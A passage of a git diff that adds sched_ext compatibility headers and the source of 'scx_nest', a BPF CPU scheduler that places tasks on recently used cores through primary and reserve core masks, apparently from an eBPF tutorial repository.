RESIZE_ARRAY(__skel, elfsec, arr, n) \ + do { \ + size_t __sz; \ + bpf_map__set_value_size((__skel)->maps.elfsec##_##arr, \ + sizeof((__skel)->elfsec##_##arr->arr[0]) * (n)); \ + (__skel)->elfsec##_##arr = \ + bpf_map__initial_value((__skel)->maps.elfsec##_##arr, &__sz); \ + } while (0) + +#include "user_exit_info.h" +#include "compat.h" + +#endif /* __SCHED_EXT_COMMON_H */ diff --git a/src/45-scx-nest/include/scx/compat.bpf.h b/src/45-scx-nest/include/scx/compat.bpf.h new file mode 100644 index 00000000..e5afe9ef --- /dev/null +++ b/src/45-scx-nest/include/scx/compat.bpf.h @@ -0,0 +1,47 @@ +/* SPDX-License-Identifier: GPL-2.0 */ +/* + * Copyright (c) 2024 Meta Platforms, Inc. and affiliates. + * Copyright (c) 2024 Tejun Heo + * Copyright (c) 2024 David Vernet + */ +#ifndef __SCX_COMPAT_BPF_H +#define __SCX_COMPAT_BPF_H + +#define __COMPAT_ENUM_OR_ZERO(__type, __ent) \ +({ \ + __type __ret = 0; \ + if (bpf_core_enum_value_exists(__type, __ent)) \ + __ret = __ent; \ + __ret; \ +}) + +/* v6.12: 819513666966 ("sched_ext: Add cgroup support") */ +#define __COMPAT_scx_bpf_task_cgroup(p) \ + (bpf_ksym_exists(scx_bpf_task_cgroup) ? \ + scx_bpf_task_cgroup((p)) : NULL) + +/* v6.12: 4c30f5ce4f7a ("sched_ext: Implement scx_bpf_dispatch[_vtime]_from_dsq()") */ +#define __COMPAT_scx_bpf_dispatch_from_dsq_set_slice(it, slice) \ + (bpf_ksym_exists(scx_bpf_dispatch_from_dsq_set_slice) ? \ + scx_bpf_dispatch_from_dsq_set_slice((it), (slice)) : (void)0) +#define __COMPAT_scx_bpf_dispatch_from_dsq_set_vtime(it, vtime) \ + (bpf_ksym_exists(scx_bpf_dispatch_from_dsq_set_vtime) ? \ + scx_bpf_dispatch_from_dsq_set_vtime((it), (vtime)) : (void)0) +#define __COMPAT_scx_bpf_dispatch_from_dsq(it, p, dsq_id, enq_flags) \ + (bpf_ksym_exists(scx_bpf_dispatch_from_dsq) ? \ + scx_bpf_dispatch_from_dsq((it), (p), (dsq_id), (enq_flags)) : false) +#define __COMPAT_scx_bpf_dispatch_vtime_from_dsq(it, p, dsq_id, enq_flags) \ + (bpf_ksym_exists(scx_bpf_dispatch_vtime_from_dsq) ? \ + scx_bpf_dispatch_vtime_from_dsq((it), (p), (dsq_id), (enq_flags)) : false) + +/* + * Define sched_ext_ops. This may be expanded to define multiple variants for + * backward compatibility. See compat.h::SCX_OPS_LOAD/ATTACH(). + */ +#define SCX_OPS_DEFINE(__name, ...) \ + SEC(".struct_ops.link") \ + struct sched_ext_ops __name = { \ + __VA_ARGS__, \ + }; + +#endif /* __SCX_COMPAT_BPF_H */ diff --git a/src/45-scx-nest/include/scx/compat.h b/src/45-scx-nest/include/scx/compat.h new file mode 100644 index 00000000..cc56ff9a --- /dev/null +++ b/src/45-scx-nest/include/scx/compat.h @@ -0,0 +1,186 @@ +/* SPDX-License-Identifier: GPL-2.0 */ +/* + * Copyright (c) 2024 Meta Platforms, Inc. and affiliates. + * Copyright (c) 2024 Tejun Heo + * Copyright (c) 2024 David Vernet + */ +#ifndef __SCX_COMPAT_H +#define __SCX_COMPAT_H + +#include +#include +#include +#include + +struct btf *__COMPAT_vmlinux_btf __attribute__((weak)); + +static inline void __COMPAT_load_vmlinux_btf(void) +{ + if (!__COMPAT_vmlinux_btf) { + __COMPAT_vmlinux_btf = btf__load_vmlinux_btf(); + SCX_BUG_ON(!__COMPAT_vmlinux_btf, "btf__load_vmlinux_btf()"); + } +} + +static inline bool __COMPAT_read_enum(const char *type, const char *name, u64 *v) +{ + const struct btf_type *t; + const char *n; + s32 tid; + int i; + + __COMPAT_load_vmlinux_btf(); + + tid = btf__find_by_name(__COMPAT_vmlinux_btf, type); + if (tid < 0) + return false; + + t = btf__type_by_id(__COMPAT_vmlinux_btf, tid); + SCX_BUG_ON(!t, "btf__type_by_id(%d)", tid); + + if (btf_is_enum(t)) { + struct btf_enum *e = btf_enum(t); + + for (i = 0; i < BTF_INFO_VLEN(t->info); i++) { + n = btf__name_by_offset(__COMPAT_vmlinux_btf, e[i].name_off); + SCX_BUG_ON(!n, "btf__name_by_offset()"); + if (!strcmp(n, name)) { + *v = e[i].val; + return true; + } + } + } else if (btf_is_enum64(t)) { + struct btf_enum64 *e = btf_enum64(t); + + for (i = 0; i < BTF_INFO_VLEN(t->info); i++) { + n = btf__name_by_offset(__COMPAT_vmlinux_btf, e[i].name_off); + SCX_BUG_ON(!n, "btf__name_by_offset()"); + if (!strcmp(n, name)) { + *v = btf_enum64_value(&e[i]); + return true; + } + } + } + + return false; +} + +#define __COMPAT_ENUM_OR_ZERO(__type, __ent) \ +({ \ + u64 __val = 0; \ + __COMPAT_read_enum(__type, __ent, &__val); \ + __val; \ +}) + +static inline bool __COMPAT_has_ksym(const char *ksym) +{ + __COMPAT_load_vmlinux_btf(); + return btf__find_by_name(__COMPAT_vmlinux_btf, ksym) >= 0; +} + +static inline bool __COMPAT_struct_has_field(const char *type, const char *field) +{ + const struct btf_type *t; + const struct btf_member *m; + const char *n; + s32 tid; + int i; + + __COMPAT_load_vmlinux_btf(); + tid = btf__find_by_name_kind(__COMPAT_vmlinux_btf, type, BTF_KIND_STRUCT); + if (tid < 0) + return false; + + t = btf__type_by_id(__COMPAT_vmlinux_btf, tid); + SCX_BUG_ON(!t, "btf__type_by_id(%d)", tid); + + m = btf_members(t); + + for (i = 0; i < BTF_INFO_VLEN(t->info); i++) { + n = btf__name_by_offset(__COMPAT_vmlinux_btf, m[i].name_off); + SCX_BUG_ON(!n, "btf__name_by_offset()"); + if (!strcmp(n, field)) + return true; + } + + return false; +} + +#define SCX_OPS_SWITCH_PARTIAL \ + __COMPAT_ENUM_OR_ZERO("scx_ops_flags", "SCX_OPS_SWITCH_PARTIAL") + +static inline long scx_hotplug_seq(void) +{ + int fd; + char buf[32]; + ssize_t len; + long val; + + fd = open("/sys/kernel/sched_ext/hotplug_seq", O_RDONLY); + if (fd < 0) + return -ENOENT; + + len = read(fd, buf, sizeof(buf) - 1); + SCX_BUG_ON(len <= 0, "read failed (%ld)", len); + buf[len] = 0; + close(fd); + + val = strtoul(buf, NULL, 10); + SCX_BUG_ON(val < 0, "invalid num hotplug events: %lu", val); + + return val; +} + +/* + * struct sched_ext_ops can change over time. If compat.bpf.h::SCX_OPS_DEFINE() + * is used to define ops and compat.h::SCX_OPS_LOAD/ATTACH() are used to load + * and attach it, backward compatibility is automatically maintained where + * reasonable. + * + * ec7e3b0463e1 ("implement-ops") in https://github.com/sched-ext/sched_ext is + * the current minimum required kernel version. + */ +#define SCX_OPS_OPEN(__ops_name, __scx_name) ({ \ + struct __scx_name *__skel; \ + \ + SCX_BUG_ON(!__COMPAT_struct_has_field("sched_ext_ops", "dump"), \ + "sched_ext_ops.dump() missing, kernel too old?"); \ + \ + __skel = __scx_name##__open(); \ + SCX_BUG_ON(!__skel, "Could not open " #__scx_name); \ + __skel->struct_ops.__ops_name->hotplug_seq = scx_hotplug_seq(); \ + __skel; \ +}) + +#define SCX_OPS_LOAD(__skel, __ops_name, __scx_name, __uei_name) ({ \ + UEI_SET_SIZE(__skel, __ops_name, __uei_name); \ + SCX_BUG_ON(__scx_name##__load((__skel)), "Failed to load skel"); \ +}) + +/* + * New versions of bpftool now emit additional link placeholders for BPF maps, + * and set up BPF skeleton in such a way that libbpf will auto-attach BPF maps + * automatically, assumming libbpf is recent enough (v1.5+). Old libbpf will do + * nothing with those links and won't attempt to auto-attach maps. + * + * To maintain compatibility with older libbpf while avoiding trying to attach + * twice, disable the autoattach feature on newer libbpf. + */ +#if LIBBPF_MAJOR_VERSION > 1 || \ + (LIBBPF_MAJOR_VERSION == 1 && LIBBPF_MINOR_VERSION >= 5) +#define __SCX_OPS_DISABLE_AUTOATTACH(__skel, __ops_name) \ + bpf_map__set_autoattach((__skel)->maps.__ops_name, false) +#else +#define __SCX_OPS_DISABLE_AUTOATTACH(__skel, __ops_name) do {} while (0) +#endif + +#define SCX_OPS_ATTACH(__skel, __ops_name, __scx_name) ({ \ + struct bpf_link *__link; \ + __SCX_OPS_DISABLE_AUTOATTACH(__skel, __ops_name); \ + SCX_BUG_ON(__scx_name##__attach((__skel)), "Failed to attach skel"); \ + __link = bpf_map__attach_struct_ops((__skel)->maps.__ops_name); \ + SCX_BUG_ON(!__link, "Failed to attach struct_ops"); \ + __link; \ +}) + +#endif /* __SCX_COMPAT_H */ diff --git a/src/45-scx-nest/include/scx/user_exit_info.h b/src/45-scx-nest/include/scx/user_exit_info.h new file mode 100644 index 00000000..8ce27344 --- /dev/null +++ b/src/45-scx-nest/include/scx/user_exit_info.h @@ -0,0 +1,115 @@ +/* SPDX-License-Identifier: GPL-2.0 */ +/* + * Define struct user_exit_info which is shared between BPF and userspace parts + * to communicate exit status and other information. + * + * Copyright (c) 2022 Meta Platforms, Inc. and affiliates. + * Copyright (c) 2022 Tejun Heo + * Copyright (c) 2022 David Vernet + */ +#ifndef __USER_EXIT_INFO_H +#define __USER_EXIT_INFO_H + +enum uei_sizes { + UEI_REASON_LEN = 128, + UEI_MSG_LEN = 1024, + UEI_DUMP_DFL_LEN = 32768, +}; + +struct user_exit_info { + int kind; + s64 exit_code; + char reason[UEI_REASON_LEN]; + char msg[UEI_MSG_LEN]; +}; + +#ifdef __bpf__ + +#ifdef LSP +#include "../vmlinux/vmlinux.h" +#else +#include "vmlinux.h" +#endif +#include + +#define UEI_DEFINE(__name) \ + char RESIZABLE_ARRAY(data, __name##_dump); \ + const volatile u32 __name##_dump_len; \ + struct user_exit_info __name SEC(".data") + +#define UEI_RECORD(__uei_name, __ei) ({ \ + bpf_probe_read_kernel_str(__uei_name.reason, \ + sizeof(__uei_name.reason), (__ei)->reason); \ + bpf_probe_read_kernel_str(__uei_name.msg, \ + sizeof(__uei_name.msg), (__ei)->msg); \ + bpf_probe_read_kernel_str(__uei_name##_dump, \ + __uei_name##_dump_len, (__ei)->dump); \ + if (bpf_core_field_exists((__ei)->exit_code)) \ + __uei_name.exit_code = (__ei)->exit_code; \ + /* use __sync to force memory barrier */ \ + __sync_val_compare_and_swap(&__uei_name.kind, __uei_name.kind, \ + (__ei)->kind); \ +}) + +#else /* !__bpf__ */ + +#include +#include + +/* no need to call the following explicitly if SCX_OPS_LOAD() is used */ +#define UEI_SET_SIZE(__skel, __ops_name, __uei_name) ({ \ + u32 __len = (__skel)->struct_ops.__ops_name->exit_dump_len ?: UEI_DUMP_DFL_LEN; \ + (__skel)->rodata->__uei_name##_dump_len = __len; \ + RESIZE_ARRAY((__skel), data, __uei_name##_dump, __len); \ +}) + +#define UEI_EXITED(__skel, __uei_name) ({ \ + /* use __sync to force memory barrier */ \ + __sync_val_compare_and_swap(&(__skel)->data->__uei_name.kind, -1, -1); \ +}) + +#define UEI_REPORT(__skel, __uei_name) ({ \ + struct user_exit_info *__uei = &(__skel)->data->__uei_name; \ + char *__uei_dump = (__skel)->data_##__uei_name##_dump->__uei_name##_dump; \ + if (__uei_dump[0] != '\0') { \ + fputs("\nDEBUG DUMP\n", stderr); \ + fputs("================================================================================\n\n", stderr); \ + fputs(__uei_dump, stderr); \ + fputs("\n================================================================================\n\n", stderr); \ + } \ + fprintf(stderr, "EXIT: %s", __uei->reason); \ + if (__uei->msg[0] != '\0') \ + fprintf(stderr, " (%s)", __uei->msg); \ + fputs("\n", stderr); \ + __uei->exit_code; \ +}) + +/* + * We can't import vmlinux.h while compiling user C code. Let's duplicate + * scx_exit_code definition. + */ +enum scx_exit_code { + /* Reasons */ + SCX_ECODE_RSN_HOTPLUG = 1LLU << 32, + + /* Actions */ + SCX_ECODE_ACT_RESTART = 1LLU << 48, +}; + +enum uei_ecode_mask { + UEI_ECODE_USER_MASK = ((1LLU << 32) - 1), + UEI_ECODE_SYS_RSN_MASK = ((1LLU << 16) - 1) << 32, + UEI_ECODE_SYS_ACT_MASK = ((1LLU << 16) - 1) << 48, +}; + +/* + * These macro interpret the ecode returned from UEI_REPORT(). + */ +#define UEI_ECODE_USER(__ecode) ((__ecode) & UEI_ECODE_USER_MASK) +#define UEI_ECODE_SYS_RSN(__ecode) ((__ecode) & UEI_ECODE_SYS_RSN_MASK) +#define UEI_ECODE_SYS_ACT(__ecode) ((__ecode) & UEI_ECODE_SYS_ACT_MASK) + +#define UEI_ECODE_RESTART(__ecode) (UEI_ECODE_SYS_ACT((__ecode)) == SCX_ECODE_ACT_RESTART) + +#endif /* __bpf__ */ +#endif /* __USER_EXIT_INFO_H */ diff --git a/src/45-scx-nest/scx_nest.bpf.c b/src/45-scx-nest/scx_nest.bpf.c new file mode 100644 index 00000000..9ce113a9 --- /dev/null +++ b/src/45-scx-nest/scx_nest.bpf.c @@ -0,0 +1,654 @@ +/* SPDX-License-Identifier: GPL-2.0 */ +/* + * As described in [0], a Nest scheduler which encourages task placement on + * cores that are likely to be running at higher frequency, based upon recent usage. + * + * [0]: https://hal.inria.fr/hal-03612592/file/paper.pdf + * + * It operates as a global weighted vtime scheduler (similarly to CFS), while + * using the Nest algorithm to choose idle cores at wakup time. + * + * It also demonstrates the following niceties. + * + * - More robust task placement policies. + * - Termination notification for userspace. + * + * While rather simple, this scheduler should work reasonably well on CPUs with + * a uniform L3 cache topology. While preemption is not implemented, the fact + * that the scheduling queue is shared across all CPUs means that whatever is + * at the front of the queue is likely to be executed fairly quickly given + * enough number of CPUs. + * + * Copyright (c) 2023 Meta Platforms, Inc. and affiliates. + * Copyright (c) 2023 David Vernet + * Copyright (c) 2023 Tejun Heo + */ +#include + +#include "scx_nest.h" + +#define TASK_DEAD 0x00000080 + +char _license[] SEC("license") = "GPL"; + +enum { + FALLBACK_DSQ_ID = 0, + MSEC_PER_SEC = 1000LLU, + USEC_PER_MSEC = 1000LLU, + NSEC_PER_USEC = 1000LLU, + NSEC_PER_MSEC = USEC_PER_MSEC * NSEC_PER_USEC, + USEC_PER_SEC = USEC_PER_MSEC * MSEC_PER_SEC, + NSEC_PER_SEC = NSEC_PER_USEC * USEC_PER_SEC, +}; + +#define CLOCK_BOOTTIME 7 +#define NUMA_NO_NODE -1 + +const volatile u64 p_remove_ns = 2 * NSEC_PER_MSEC; +const volatile u64 r_max = 5; +const volatile u64 r_impatient = 2; +const volatile u64 slice_ns = SCX_SLICE_DFL; +const volatile bool find_fully_idle = false; +const volatile u64 sampling_cadence_ns = 1 * NSEC_PER_SEC; +const volatile u64 r_depth = 5; + +// Used for stats tracking. May be stale at any given time. +u64 stats_primary_mask, stats_reserved_mask, stats_other_mask, stats_idle_mask; + +// Used for internal tracking. +static s32 nr_reserved; + +static u64 vtime_now; +UEI_DEFINE(uei); + +extern unsigned long CONFIG_HZ __kconfig; + +/* Per-task scheduling context */ +struct task_ctx { + /* + * A temporary cpumask for calculating a task's primary and reserve + * mask. + */ + struct bpf_cpumask __kptr *tmp_mask; + + /* + * The number of times that a task observes that its previous core is + * not idle. If this occurs r_impatient times in a row, a core is + * attempted to be retrieved from either the reserve nest, or the + * fallback nest. + */ + u32 prev_misses; + + /* + * A core that the task is "attached" to, meaning the last core that it + * executed on at least twice in a row, and the core that it first + * tries to migrate to on wakeup. The task only migrates to the + * attached core if it is idle and in the primary nest. + */ + s32 attached_core; + + /* + * The last core that the task executed on. This is used to determine + * if the task should attach to the core that it will execute on next. + */ + s32 prev_cpu; +}; + +struct { + __uint(type, BPF_MAP_TYPE_TASK_STORAGE); + __uint(map_flags, BPF_F_NO_PREALLOC); + __type(key, int); + __type(value, struct task_ctx); +} task_ctx_stor SEC(".maps"); + +struct pcpu_ctx { + /* The timer used to compact the core from the primary nest. */ + struct bpf_timer timer; + + /* Whether the current core has been scheduled for compaction. */ + bool scheduled_compaction; +}; + +struct { + __uint(type, BPF_MAP_TYPE_ARRAY); + __uint(max_entries, 1024); + __type(key, s32); + __type(value, struct pcpu_ctx); +} pcpu_ctxs SEC(".maps"); + +struct stats_timer { + struct bpf_timer timer; +}; + +struct { + __uint(type, BPF_MAP_TYPE_ARRAY); + __uint(max_entries, 1); + __type(key, u32); + __type(value, struct stats_timer); +} stats_timer SEC(".maps"); + +const volatile u32 nr_cpus = 1; /* !0 for veristat, set during init. */ + +private(NESTS) struct bpf_cpumask __kptr *primary_cpumask; +private(NESTS) struct bpf_cpumask __kptr *reserve_cpumask; + +struct { + __uint(type, BPF_MAP_TYPE_PERCPU_ARRAY); + __uint(key_size, sizeof(u32)); + __uint(value_size, sizeof(u64)); + __uint(max_entries, NEST_STAT(NR)); +} stats SEC(".maps"); + + +static __always_inline void stat_inc(u32 idx) +{ + u64 *cnt_p = bpf_map_lookup_elem(&stats, &idx); + if (cnt_p) + (*cnt_p)++; +} + +static inline bool vtime_before(u64 a, u64 b) +{ + return (s64)(a - b) < 0; +} + +static __always_inline void +try_make_core_reserved(s32 cpu, struct bpf_cpumask * reserved, bool promotion) +{ + s32 tmp_nr_reserved; + + /* + * This check is racy, but that's OK. If we incorrectly fail to promote + * a core to reserve, it's because another context added or removed a + * core from reserved in this small window. It will balance out over + * subsequent wakeups. + */ + tmp_nr_reserved = nr_reserved; + if (tmp_nr_reserved < r_max) { + /* + * It's possible that we could exceed r_max for a time here, + * but that should balance out as more cores are either demoted + * or fail to be promoted into the reserve nest. + */ + __sync_fetch_and_add(&nr_reserved, 1); + bpf_cpumask_set_cpu(cpu, reserved); + if (promotion) + stat_inc(NEST_STAT(PROMOTED_TO_RESERVED)); + else + stat_inc(NEST_STAT(DEMOTED_TO_RESERVED)); + } else { + bpf_cpumask_clear_cpu(cpu, reserved); + stat_inc(NEST_STAT(RESERVED_AT_CAPACITY)); + } +} + +static void update_attached(struct task_ctx *tctx, s32 prev_cpu, s32 new_cpu) +{ + if (tctx->prev_cpu == new_cpu) + tctx->attached_core = new_cpu; + tctx->prev_cpu = prev_cpu; +} + +static int compact_primary_core(void *map, int *key, struct bpf_timer *timer) +{ + struct bpf_cpumask *primary, *reserve; + s32 cpu = bpf_get_smp_processor_id(); + struct pcpu_ctx *pcpu_ctx; + + stat_inc(NEST_STAT(CALLBACK_COMPACTED)); + /* + * If we made it to this callback, it means that the timer callback was + * never cancelled, and so the core needs to be demoted from the + * primary nest. + */ + pcpu_ctx = bpf_map_lookup_elem(&pcpu_ctxs, &cpu); + if (!pcpu_ctx) { + scx_bpf_error("Couldn't lookup pcpu ctx"); + return 0; + } + bpf_rcu_read_lock(); + primary = primary_cpumask; + reserve = reserve_cpumask; + if (!primary || !reserve) { + scx_bpf_error("Couldn't find primary or reserve"); + bpf_rcu_read_unlock(); + return 0; + } + + bpf_cpumask_clear_cpu(cpu, primary); + try_make_core_reserved(cpu, reserve, false); + bpf_rcu_read_unlock(); + pcpu_ctx->scheduled_compaction = false; + return 0; +} + +s32 BPF_STRUCT_OPS(nest_select_cpu, struct task_struct *p, s32 prev_cpu, + u64 wake_flags) +{ + struct bpf_cpumask *p_mask, *primary, *reserve; + s32 cpu; + struct task_ctx *tctx; + struct pcpu_ctx *pcpu_ctx; + bool direct_to_primary = false, reset_impatient = true; + + tctx = bpf_task_storage_get(&task_ctx_stor, p, 0, 0); + if (!tctx) + return -ENOENT; + + bpf_rcu_read_lock(); + p_mask = tctx->tmp_mask; + primary = primary_cpumask; + reserve = reserve_cpumask; + if (!p_mask || !primary || !reserve) { + bpf_rcu_read_unlock(); + return -ENOENT; + } + + tctx->prev_cpu = prev_cpu; + + bpf_cpumask_and(p_mask, p->cpus_ptr, cast_mask(primary)); + + /* First try to wake the task on its attached core. */ + if (bpf_cpumask_test_cpu(tctx->attached_core, cast_mask(p_mask)) && + scx_bpf_test_and_clear_cpu_idle(tctx->attached_core)) { + cpu = tctx->attached_core; + stat_inc(NEST_STAT(WAKEUP_ATTACHED)); + goto migrate_primary; + } + + /* + * Try to stay on the previous core if it's in the primary set, and + * there's no hypertwin. If the previous core is the core the task is + * attached to, don't bother as we already just tried that above. + */ + if (prev_cpu != tctx->attached_core && + bpf_cpumask_test_cpu(prev_cpu, cast_mask(p_mask)) && + scx_bpf_test_and_clear_cpu_idle(prev_cpu)) { + cpu = prev_cpu; + stat_inc(NEST_STAT(WAKEUP_PREV_PRIMARY)); + goto migrate_primary; + } + + if (find_fully_idle) { + /* Then try any fully idle core in primary. */ + cpu = scx_bpf_pick_idle_cpu(cast_mask(p_mask), + SCX_PICK_IDLE_CORE); + if (cpu >= 0) { + stat_inc(NEST_STAT(WAKEUP_FULLY_IDLE_PRIMARY)); + goto migrate_primary; + } + } + + /* Then try _any_ idle core in primary, even if its hypertwin is active. */ + cpu = scx_bpf_pick_idle_cpu(cast_mask(p_mask), 0); + if (cpu >= 0) { + stat_inc(NEST_STAT(WAKEUP_ANY_IDLE_PRIMARY)); + goto migrate_primary; + } + + if (r_impatient > 0 && ++tctx->prev_misses >= r_impatient) { + direct_to_primary = true; + tctx->prev_misses = 0; + stat_inc(NEST_STAT(TASK_IMPATIENT)); + } + + reset_impatient = false; + + /* Then try any fully idle core in reserve. */ + bpf_cpumask_and(p_mask, p->cpus_ptr, cast_mask(reserve)); + if (find_fully_idle) { + cpu = scx_bpf_pick_idle_cpu(cast_mask(p_mask), + SCX_PICK_IDLE_CORE); + if (cpu >= 0) { + stat_inc(NEST_STAT(WAKEUP_FULLY_IDLE_RESERVE)); + goto promote_to_primary; + } + } + + /* Then try _any_ idle core in reserve, even if its hypertwin is active. */ + cpu = scx_bpf_pick_idle_cpu(cast_mask(p_mask), 0); + if (cpu >= 0) { + stat_inc(NEST_STAT(WAKEUP_ANY_IDLE_RESERVE)); + goto promote_to_primary; + } + + /* Then try _any_ idle core in the task's cpumask. */ + cpu = scx_bpf_pick_idle_cpu(p->cpus_ptr, 0); + if (cpu >= 0) { + /* + * We found a core that (we didn't _think_) is in any nest. + * This means that we need to either promote the core to the + * reserve nest, or if we're going direct to primary due to + * r_impatient being exceeded, promote directly to primary. + * + * We have to do one final check here to see if the core is in + * the primary or reserved cpumask because we could potentially + * race with the core changing states between AND'ing the + * primary and reserve masks with p->cpus_ptr above, and + * atomically reserving it from the idle mask with + * scx_bpf_pick_idle_cpu(). This is also technically true of + * the checks above, but in all of those cases we just put the + * core directly into the primary mask so it's not really that + * big of a problem. Here, we want to make sure that we don't + * accidentally put a core into the reserve nest that was e.g. + * already in the primary nest. This is unlikely, but we check + * for it on what should be a relatively cold path regardless. + */ + stat_inc(NEST_STAT(WAKEUP_IDLE_OTHER)); + if (bpf_cpumask_test_cpu(cpu, cast_mask(primary))) + goto migrate_primary; + else if (bpf_cpumask_test_cpu(cpu, cast_mask(reserve))) + goto promote_to_primary; + else if (direct_to_primary) + goto promote_to_primary; + else + try_make_core_reserved(cpu, reserve, true); + bpf_rcu_read_unlock(); + return cpu; + } + + bpf_rcu_read_unlock(); + return prev_cpu; + +promote_to_primary: + stat_inc(NEST_STAT(PROMOTED_TO_PRIMARY)); +migrate_primary: + if (reset_impatient) + tctx->prev_misses = 0; + pcpu_ctx = bpf_map_lookup_elem(&pcpu_ctxs, &cpu); + if (pcpu_ctx) { + if (pcpu_ctx->scheduled_compaction) { + if (bpf_timer_cancel(&pcpu_ctx->timer) < 0) + scx_bpf_error("Failed to cancel pcpu timer"); + if (bpf_timer_set_callback(&pcpu_ctx->timer, compact_primary_core)) + scx_bpf_error("Failed to re-arm pcpu timer"); + pcpu_ctx->scheduled_compaction = false; + stat_inc(NEST_STAT(CANCELLED_COMPACTION)); + } + } else { + scx_bpf_error("Failed to lookup pcpu ctx"); + } + bpf_cpumask_set_cpu(cpu, primary); + /* + * Check to see whether the CPU is in the reserved nest. This can + * happen if the core is compacted concurrently with us trying to place + * the currently-waking task onto it. Similarly, this is the expected + * state of the core if we found the core in the reserve nest and are + * promoting it. + * + * We don't have to worry about racing with any other waking task here + * because we've atomically reserved the core with (some variant of) + * scx_bpf_pick_idle_cpu(). + */ + if (bpf_cpumask_test_cpu(cpu, cast_mask(reserve))) { + __sync_sub_and_fetch(&nr_reserved, 1); + bpf_cpumask_clear_cpu(cpu, reserve); + } + bpf_rcu_read_unlock(); + update_attached(tctx, prev_cpu, cpu); + scx_bpf_dispatch(p, SCX_DSQ_LOCAL, slice_ns, 0); + return cpu; +} + +void BPF_STRUCT_OPS(nest_enqueue, struct task_struct *p, u64 enq_flags) +{ + struct task_ctx *tctx; + u64 vtime = p->scx.dsq_vtime; + + tctx = bpf_task_storage_get(&task_ctx_stor, p, 0, 0); + if (!tctx) { + scx_bpf_error("Unable to find task ctx"); + return; + } + + /* + * Limit the amount of budget that an idling task can accumulate + * to one slice. + */ + if (vtime_before(vtime, vtime_now - slice_ns)) + vtime = vtime_now - slice_ns; + + scx_bpf_dispatch_vtime(p, FALLBACK_DSQ_ID, slice_ns, vtime, + enq_flags); +} + +void BPF_STRUCT_OPS(nest_dispatch, s32 cpu, struct task_struct *prev) +{ + struct pcpu_ctx *pcpu_ctx; + struct bpf_cpumask *primary, *reserve; + s32 key = cpu; + bool in_primary; + + primary = primary_cpumask; + reserve = reserve_cpumask; + if (!primary || !reserve) { + scx_bpf_error("No primary or reserve cpumask"); + return; + } + + pcpu_ctx = bpf_map_lookup_elem(&pcpu_ctxs, &key); + if (!pcpu_ctx) { + scx_bpf_error("Failed to lookup pcpu ctx"); + return; + } + + if (!scx_bpf_consume(FALLBACK_DSQ_ID)) { + in_primary = bpf_cpumask_test_cpu(cpu, cast_mask(primary)); + + if (prev && (prev->scx.flags & SCX_TASK_QUEUED) && in_primary) { + scx_bpf_dispatch(prev, SCX_DSQ_LOCAL, slice_ns, 0); + return; + } + + stat_inc(NEST_STAT(NOT_CONSUMED)); + if (in_primary) { + /* + * Immediately demote a primary core if the previous + * task on it is dying + * + * Note that we elect to not compact the "first" CPU in + * the mask so as to encourage at least one core to + * remain in the nest. It would be better to check for + * whether there is only one core remaining in the + * nest, but BPF doesn't yet have a kfunc for querying + * cpumask weight. + */ + if ((prev && prev->__state == TASK_DEAD) && + (cpu != bpf_cpumask_first(cast_mask(primary)))) { + stat_inc(NEST_STAT(EAGERLY_COMPACTED)); + bpf_cpumask_clear_cpu(cpu, primary); + try_make_core_reserved(cpu, reserve, false); + } else { + pcpu_ctx->scheduled_compaction = true; + /* + * The core isn't being used anymore. Set a + * timer to remove the core from the nest in + * p_remove if it's still unused by that point. + */ + bpf_timer_start(&pcpu_ctx->timer, p_remove_ns, + BPF_F_TIMER_CPU_PIN); + stat_inc(NEST_STAT(SCHEDULED_COMPACTION)); + } + } + return; + } + stat_inc(NEST_STAT(CONSUMED)); +} + +void BPF_STRUCT_OPS(nest_running, struct task_struct *p) +{ + /* + * Global vtime always progresses forward as tasks start executing. The + * test and update can be performed concurrently from multiple CPUs and + * thus racy. Any error should be contained and temporary. Let's just + * live with it. + */ + if (vtime_before(vtime_now, p->scx.dsq_vtime)) + vtime_now = p->scx.dsq_vtime; +} + +void BPF_STRUCT_OPS(nest_stopping, struct task_struct *p, bool runnable) +{ + /* scale the execution time by the inverse of the weight and charge */ + p->scx.dsq_vtime += (slice_ns - p->scx.slice) * 100 / p->scx.weight; +} + +s32 BPF_STRUCT_OPS(nest_init_task, struct task_struct *p, + struct scx_init_task_args *args) +{ + struct task_ctx *tctx; + struct bpf_cpumask *cpumask; + + /* + * @p is new. Let's ensure that its task_ctx is available. We can sleep + * in this function and the following will automatically use GFP_KERNEL. + */ + tctx = bpf_task_storage_get(&task_ctx_stor, p, 0, + BPF_LOCAL_STORAGE_GET_F_CREATE); + if (!tctx) + return -ENOMEM; + + cpumask = bpf_cpumask_create(); + if (!cpumask) + return -ENOMEM; + + cpumask = bpf_kptr_xchg(&tctx->tmp_mask, cpumask); + if (cpumask) + bpf_cpumask_release(cpumask); + + tctx->attached_core = -1; + tctx->prev_cpu = -1; + + return 0; +} + +void BPF_STRUCT_OPS(nest_enable, struct task_struct *p) +{ + p->scx.dsq_vtime = vtime_now; +} + +static int stats_timerfn(void *map, int *key, struct bpf_timer *timer) +{ + s32 cpu; + struct bpf_cpumask *primary, *reserve; + const struct cpumask *idle; + stats_primary_mask = 0; + stats_reserved_mask = 0; + stats_other_mask = 0; + stats_idle_mask = 0; + long err; + + bpf_rcu_read_lock(); + primary = primary_cpumask; + reserve = reserve_cpumask; + if (!primary || !reserve) { + bpf_rcu_read_unlock(); + scx_bpf_error("Failed to lookup primary or reserve"); + return 0; + } + + idle = scx_bpf_get_idle_cpumask(); + bpf_for(cpu, 0, nr_cpus) { + if (bpf_cpumask_test_cpu(cpu, cast_mask(primary))) + stats_primary_mask |= (1ULL << cpu); + else if (bpf_cpumask_test_cpu(cpu, cast_mask(reserve))) + stats_reserved_mask |= (1ULL << cpu); + else + stats_other_mask |= (1ULL << cpu); + + if (bpf_cpumask_test_cpu(cpu, idle)) + stats_idle_mask |= (1ULL << cpu); + } + bpf_rcu_read_unlock(); + scx_bpf_put_idle_cpumask(idle); + + err = bpf_timer_start(timer, sampling_cadence_ns - 5000, 0); + if (err) + scx_bpf_error("Failed to arm stats timer"); + + return 0; +} + +s32 BPF_STRUCT_OPS_SLEEPABLE(nest_init) +{ + struct bpf_cpumask *cpumask; + s32 cpu; + int err; + struct bpf_timer *timer; + u32 key = 0; + + err = scx_bpf_create_dsq(FALLBACK_DSQ_ID, NUMA_NO_NODE); + if (err) { + scx_bpf_error("Failed to create fallback DSQ"); + return err; + } + + cpumask = bpf_cpumask_create(); + if (!cpumask) + return -ENOMEM; + bpf_cpumask_clear(cpumask); + cpumask = bpf_kptr_xchg(&primary_cpumask, cpumask); + if (cpumask) + bpf_cpumask_release(cpumask); + + cpumask = bpf_cpumask_create(); + if (!cpumask) + return 